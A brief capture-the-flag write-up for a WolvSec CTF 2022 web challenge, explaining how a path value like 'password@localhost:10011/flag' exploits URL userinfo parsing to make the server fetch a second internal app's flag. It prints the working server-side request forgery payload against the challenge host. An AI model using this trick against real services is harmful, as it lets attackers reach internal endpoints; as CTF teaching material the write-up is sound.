Challege source and solver script: [https://github.com/sambrow/wolvsec_ctf_2022/](https://github.com/sambrow/wolvsec_ctf_2022/)
Intended solve (by the challeng author):
https://wsc-2022-web-4-bvel4oasra-uc.a.run.app/ssrf?path=password@localhost:10011/flag
This causes the following code:
``` const url = `http://localhost:${private1Port}${normalizedPath}```` to construct the following url:
http://localhost:1001password@localhost:10011/flag
The syntax here is:
```http://<username>:<password>@<domain>:<port>/<resource>```
The username/password are just ignored by these apps so the rest is under your control and can be used to visit the private2.js app to get the flag.
Note: There was at least one very creative solve that did not require use of the @ symbol.  Hoping that person will create a writeup.
